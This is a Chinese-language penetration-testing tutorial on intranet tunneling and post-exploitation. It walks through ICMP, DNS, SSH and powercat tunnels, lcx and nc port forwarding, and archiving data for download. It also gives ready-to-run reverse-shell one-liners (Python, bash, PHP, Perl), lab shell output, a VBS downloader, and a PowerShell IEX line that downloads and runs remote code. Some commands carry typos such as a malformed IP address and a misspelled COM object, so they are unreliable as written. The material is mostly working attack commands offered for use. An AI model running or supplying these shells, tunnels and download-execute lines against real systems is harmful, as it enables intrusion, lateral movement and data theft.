0x01.基础知识 完成内网信息搜集后,需要先判断流量是否出得去、进得来。隐藏通信隧道技术常用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。
1.概述 在渗透场景中,各种安全设备会检查对外连接的情况,如果发现异常,就会对通信进行阻断。因此建立专门的隐蔽隧道就十分必要,这能绕过端口屏蔽。 常用的隧道如下:
1 2 3 网络层隧道:IPv6、ICMP、GRE 传输层隧道:TCP、UDP、常规端口转发 应用层隧道:SSH、HTTP、HTTPS、DNS
2.判断内网的连通性 判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123等,常用的内网的连通性判断方法如下:
ICMP协议
TCP协议
DNS协议
1 2 nslookup www.baiduc.om 8.8.8.8 dig @8.8.8.8 www.baidu.com
HTTP协议
1 curl http://www.baidu.com
还有一种情况是流量不能直接流出,需要在内网中设置代理,判断方法如下:
1 2 3 4 5 6 7 1、查看网络连接,判断是否存在与其他机器的1080(不绝对)等端口的连接,可尝试运行ping -n 1 -a ip命令 2、查看内网中是否有主机名类似于"proxy"的机器。 3、查看IE浏览器的直接代理。 4、根据pac(代理自动配置)文件的路径(远程、本地),将其下载并查看。 5、执行如下命令,利用curl工具确认: curl https://www.baidu.com //不通 curl -x proxy-ip:port www.baidu.com //通
0x02.网络层隧道技术 1.IPv6隧道 IPv6隧道技术是指通过IPv4隧道传输IPv6数据报文的技术,也就是说,将IPv6报文整体封装在IPv4数据报文中,以便在IPv4隧道中传输。
1 2 因为现阶段的部分安全设备无法识别IPv6的通信技术,而大多数操作系统支持IPv6,因此可以通过某些软件来配置允许进行IPv6通信以此来避开防火墙和入侵检测系统,而即使设备支持IPv6,也可能无法正确分析封装了IPv6报文的IPv4数据包。 支持IPv6隧道的工具有socat、6tunnel、nt6tunnel等。
2.ICMP隧道 在一般的通信协议里,如果两台设备要进行通信,首先肯定需要开放端口,而在ICMP下就不需要,在一些网络环境中如果使用各类上层隧道(HTTP、DNS、常规正反向端口转发等)进行的操作都失败后,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装在ICMP的ping数据包中,从而穿过防火墙。
常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等:
01.icmpsh 利用
1 2 本机:python2 icmpsh_m.py <本机IP> <目标IP> 靶机:icmpsh -t <外连主机IP> -d 500 -b 30 -s 128
首先需要安装impacket
1 2 3 下载地址:https://github.com/SecureAuthCorp/impacket cd impacket python2 -m pip install .
先在kali上运行
1 python2 icmpsh_m.py 192.168.1.8 192.168.1.6
在靶机上运行
1 icmpsh -t 192.168.1.8 -d 500 -b 30 -s 128
得到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 root@JIYE:~/Downloads/icmpsh# python2 icmpsh_m.py 192.168.1.8 192.168.1.6 Microsoft Windows [�汾 5.2.3790] (C) ��Ȩ���� 1985-2003 Microsoft Corp. C:\icmpsh>whoami whoami admin-ad4c9d4d8\administrator C:\icmpsh>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��������: Connection-specific DNS Suffix . : local IP Address. . . . . . . . . . . . : 10.1.1.4 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.1.1.1 Ethernet adapter �������� 2: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 192.168.1.6 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.1 C:\icmpsh>
抓包分析
192.168.1.10向192.168.1.6发起请求whoami
192.168.1.6向192.168.1.10响应
02.PingTunnel 安装依赖
1 2 3 4 5 6 7 8 9 cd libpcap-1.10.1 ./configure make && make install cd PingTunnel/ make && make install 遇到报错安装以下 apt-get install flex byacc -y #我遇到的报错是缺这俩
利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 kali攻击机 ┌──(root💀kali)-[~] └─# ifconfig 71 ⨯ eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.7 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 2409:8a15:3637:5ed0:befd:d9fb:f05a:6005 prefixlen 64 scopeid 0x0<global> inet6 fe80::20c:29ff:fe4f:2524 prefixlen 64 scopeid 0x20<link> inet6 2409:8a15:3637:5ed0:20c:29ff:fe4f:2524 prefixlen 64 scopeid 0x0<global> ether 00:0c:29:4f:25:24 txqueuelen 1000 (Ethernet) RX packets 12484 bytes 6520141 (6.2 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 3141 bytes 662478 (646.9 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 44 bytes 2816 (2.7 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 44 bytes 2816 (2.7 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 web服务器 [root@mail ~]# ifconfig ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.11 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 2409:8a15:3637:5ed0:63bf:e247:b694:9bca prefixlen 64 scopeid 0x0<global> inet6 fe80::93f3:83a7:a47f:dda4 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:a0:ac:5d txqueuelen 1000 (Ethernet) RX packets 7482 bytes 1008757 (985.1 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 3140 bytes 833053 (813.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ens34: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 10.1.1.6 netmask 255.255.255.0 broadcast 10.1.1.255 inet6 fe80::5577:a12e:72b8:66dd prefixlen 64 scopeid 0x20<link> ether 00:0c:29:a0:ac:67 txqueuelen 1000 (Ethernet) RX packets 851 bytes 366945 (358.3 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 509 bytes 68150 (66.5 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 109 bytes 6323 (6.1 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 109 bytes 6323 (6.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 内网DC C:\Users\Administrator>ipconfig Windows IP 配置 以太网适配器 Ethernet0: 连接特定的 DNS 后缀 . . . . . . . : local 本地链接 IPv6 地址. . . . . . . . : fe80::b12d:4163:32df:fa72%4 IPv4 地址 . . . . . . . . . . . . : 10.1.1.5 子网掩码 . . . . . . . . . . . . : 255.255.255.0 默认网关. . . . . . . . . . . . . : 10.1.1.1
首先web服务器运行
kali运行
1 2 ptunnel -p 192.168.1.11 -lp 6666 -da 10.1.1.5 -dp 3389 -x pass 上述命令含义:在访问kali的6666端口,会把DC 10.1.1.5的3389端口封装在ICMP隧道里,以web服务器192.168.1.11为ICMP隧道跳板进行传送。
参数
1 2 3 4 5 -x 指定ICMP隧道连接的验证密码 -lp 指定本地监听的TCP端口 -da 指定要转发的目标机器IP -dp 指定要转发的目标机器TCP端口 -p 指定ICMP隧道另一端机器的IP
登入
1 2 3 desktop 192.168.1.7:6666 desktop 127.0.0.1:6666 windows的mstsc登入也可以
0x03.传输层隧道 1.lcx内网端口转发 目标主机执行
1 lcx.exe -slave 192.168.1.2 4444 127.0.0.1 3389 # 将本机3389端口转发到hack机4444端口
hack机执行
1 lcx.exe -listen 4444 5555 #将本机4444端口监听的所有数据传输到5555端口
hack机mstsc 127.0.0.1:5555登入
2.nc 参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -d 后台模式 -e 程序重定向 -g <网关> 设置路由器跃程通信网关,最多可设置8个; -G <指向器数目> 设置来源路由指向器,其数值为4的倍数; -h 在线帮助; -i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口; -l 使用监听模式,管控传入的资料; -n 直接使用IP地址,而不通过域名服务器; -o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存; -p <通信端口> 设置本地主机使用的通信端口; -r 随机指定本地与远端主机的通信端口; -s <来源位址> 设置本地主机送出数据包的IP地址; -u 使用UDP传输协议; -v 详细输出; -w <超时秒数> 设置等待连线的时间; -z 将输入输出关掉,只在扫描通信端口时使用。
3.反弹shell 01.python反弹shell 1 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.1681.11",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
02.bash反弹shell 1 bash -i >& /dev/tcp 192.168.1.11/6666 0>&1
03.PHP反弹shell 1 php -r '$sock=fsockopen("192.168.1.11",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
04.Perl反弹shell 1 perl -e 'use Socket;$i="192.168.1.11";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
4.powercat Powershell版nc
参数
参数 功能 -l 监听入站连接 -c 连接目标 -p 连接或监听的端口 -e 返回某个程序 -ep 返回PowerShel -r 端口转发 -u 通过UDP隧道传输数据 -dns 通过DNS隧道传输数据 -dnsft DNS失效阈值 -t 超时选项。默认值:60 -i 输入:文件路径(字符串)、字节数组或字符串 -o 控制台输出类型:“主机”、“字节”或“字符串” -of 输出文件路径 -d 连接后断开 -rep 重新启动 -g 生成有效载荷 -ge 生成编码后的有效载荷 -h 帮助信息
01.Powercat生成payload 1.正向shell 1 powercat -l -p 6666 -e cmd -v -g >> shell.ps1
连接
1 powercat -c 10.10.10.10 -p 6666 -v
2.反向shell 1 powercat -c 10.10.10.10 -p 6666 -e cmd -v -g >> demo.ps1
连接
02.powercat DNS隧道 powercat DNS隧道是基于dnscat设计的,首先安装dnscat
1 2 3 4 git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ gem install bundler bundle install
kali执行
1 ruby dnscat2.rb ttpowercat.test -e open --no-cache
目标主机执行
1 powercat -c 192.168.1.7 -p 53 -dns ttpowercat.test -e cmd.exe
得到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 dnscat2> New window created: 1 Session 1 security: UNENCRYPTED dnscat2> session -i 1 New window created: 1 history_size (session) => 1000 Session 1 security: UNENCRYPTED This is a console session! That means that anything you type will be sent as-is to the client, and anything they type will be displayed as-is on the screen! If the client is executing a command and you don't see a prompt, try typing 'pwd' or something! To go back, type ctrl-z. Microsoft Windows [???? 10.0.17763.107] (c) 2018 Microsoft Corporation???????????????? C:\Users\Administrator> unnamed 1> unnamed 1> C:\Users\Administrator>whoami unnamed 1> whoami jiye\administrator C:\Users\Administrator>
03.powercat作为跳板机 环境简介:
3台机器。server 2019 能与win7和kali互通,kali与win7不能互通,server 2019作为跳板机使kali与win7互通
win7执行
1 powercat -l -v -p 9999 -e cmd.exe #本地监听9999端口
server 2019执行
1 powercat -l -v -p 8888 -r tcp:10.10.10.20:9999 #本地监听8888端口并转发至10.10.10.20的9999端口
kali
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌──(root💀kali)-[~] └─# nc 192.168.1.5 8888 -vv 192.168.1.5: inverse host lookup failed: Unknown host (UNKNOWN) [192.168.1.5] 8888 (?) open Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ���� C:\Users\administrator>whoami whoami jiye\administrator C:\Users\administrator> # 连接server 2019的8888端口就转发到了win7的9999端口
使用DNS协议,与tcp数据流正好相反
server 2019
1 powercat -l -p 9999 -r dns:192.168.1.7::ttpowercat.test
kali
1 ruby dnscat2.rb ttpowercat.test -e open --no-cache
win7
1 powercat -c 10.10.10.10 -p 9999 -v -e cmd.exe
kali得到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 dnscat2> New window created: 1 Session 1 security: UNENCRYPTED dnscat2> session -i 1 New window created: 1 history_size (session) => 1000 Session 1 security: UNENCRYPTED This is a console session! That means that anything you type will be sent as-is to the client, and anything they type will be displayed as-is on the screen! If the client is executing a command and you don't see a prompt, try typing 'pwd' or something! To go back, type ctrl-z. Microsoft Windows [???? 6.1.7601] ???????? (c) 2009 Microsoft Corporation???????????????? C:\Users\administrator>ipconfig unnamed 1> ipconfig Windows IP ???? ???????????? ????????: ?????????? DNS ???? . . . . . . . : ???????? IPv6 ????. . . . . . . . : fe80::f161:9ab3:b020:30f1%11 IPv4 ???? . . . . . . . . . . . . : 10.10.10.20 ???????? . . . . . . . . . . . . : 255.255.255.0 ????????. . . . . . . . . . . . . : 10.10.10.2 ?????????? isatap.{40BE814B-BB9A-4845-AADE-41A6B9E99107}: ???????? . . . . . . . . . . . . : ?????????? ?????????? DNS ???? . . . . . . . : C:\Users\administrator>
0x04.应用层隧道 1.ssh协议 参数
1 2 3 4 5 6 7 8 -C:压缩传输,提高传输速率。 -f:将SSH传输转入后台执行,不占用当前的shell。 -N:建立静默连接(看不到具体会话)。 -g:允许远程主机连接本地用于转发的端口。 -L:本地端口转发。 -R:远程端口转发。 -D:动态转发(SOCKS代理)。 -P:指定SSH端口。
01.本地端口转发 测试环境:
kali可以访问内网web服务器(cnetos 7),不能访问数据库服务器(win7),centos 7与win7可以相互访问
web服务器为跳板,将win7的3389端口映射到kali的3309端口,访问kali的3309端口就可以访问win7d的3389
kali执行
1 2 ssh -CfNg -L 3309:10.10.10.20:3389 root@192.168.1.11 ssh -CfNg -L 3309<本地端口>:10.10.10.20:3389<目标主机> root@192.168.1.11<跳板机>
登入
02.远程端口转发 测试环境:
kali不可以访问内网所有机器,内网web服务器(centos 7)可以访问kali,内网数据库(win7)不可以访问kali,内网全通。
web为跳板机,将kali的3319端口的流量转发到目标主机win7的3389端口,访问kali的3319端口就可以访问win7的3389端口
web(centos 7执行)
1 2 ssh -CfNg -R 3319:10.10.10.20:3389 root@192.168.1.7 ssh -CfNg -R 3319<远程主机kali端口>:10.10.10.20:3389<目标主机win7数据库> root@192.168.1.7<远程主机kali>
登入
本地端口转发:
在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过ssh隧道转发到远端对应的端口
远程端口转发:
在远程主机上(服务器)监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地对应的端口
2.HTTP/HTTPS协议 reGeorg工具
3.DNS协议 此部分内容测试需要公网域名
dnscat2
iodine
0x05.socks代理 此部分内容测试需要公网ip与内网环境
1.EarthWorm 2.ScoksCap64 3.Proxychains 0x06.压缩数据 渗透过程中常常要下载数据,这里有几种将数据进行压缩方便下载的技术
1.RAR 这里提取出winrar下的rar.exe,参数如下:
参数 说明 -a 添加要压缩的文件 -k 锁定压缩文件 -s 生成存档文件(提高压缩比) -p 指定压缩密码 -r 递归压缩,包括子目录 -x 指定要排除的文件 -v 分卷打包,大文件使用 -ep 从名称中排除路径 -ep1 从名称中排除基本目录 -m0 存储,添加到压缩文件时不压缩文件 -m1 最快 -m2 较快 -m3 标准 -m4 较好 -m5 最好
2.7-zip 这里提取7z.exe,参数如下
参数 说明 -r 递归压缩 -o 指定输出目录 -p 指定密码 -v 分卷压缩 a 添加压缩文件
0x07.上传下载 对于不能上传shell,但是可以执行命令的windows服务器,可以进行上传和下载操作
1.ftp协议上传下载 常用命令
命令 说明 open <服务器地址> 链接服务器 cd <目录名> 进入指定目录 lcd <文件夹路径> 定位本地文件夹(上传文件的位置或者下载文件的本地位置) type 查看当前的传输方式 ascii 设置传输方式为ascii码(TXT文件等) binary 设置传输方式为二进制传输(EXE文件,图片,视频) close 结束与ftp服务器的会话 quit 结束与ftp服务器的会话并退出ftp环境 put <文件名> [新的文件名] 上传,[]内容不指定则不修改 send <文件名> [新的文件名] 上传,[]内容不指定则不修改 get <文件名> [新的文件名] 下载,[]内容不指定则不修改 mget <文件名> [文件名…] 下载多个文件,支持空格和?通配符,如下载所有MP3文件:mget .mp3
2.vbs上传 利用vbs上传主要使用msxm12.xmlhttp和adobd.stream对象,download.vbs文件:
使用echo 内容 >> download.vbs逐行写入后执行
Cscript download.vbs
1 2 3 4 5 6 7 8 9 10 Set Post = CreateObject("Msxm12.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://server_ip/target.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "C:\Test\target.exe",2
3.Nishang上传 Nishang将上传的EXE文件转换为十六进制的形式然后用echo访问目标服务器最后使用Download_Execute脚本下载。 先利用Nishang中的exetotext.ps1脚本将Metasploit生成的msf.exe修改问msf.txt:
1 .\ ExetoText c\:msf.exe c:\msf.txt
接着通过echo将hex值添加到目标文件中,调用Download_Execute:
1 Download_Execute http://server_ip/target.txt
4.Debug上传 5.bitsadmin下载 bitsadmin不支持HTTPS和FTP,且在Windows XP/Server 2003及以前的版本无法使用,Windows7/8/10自带。
6.PowerShell下载 1 powershell IEX(New-Object System.Net.Webclient).DownloadString('https://server_ip/target.exe');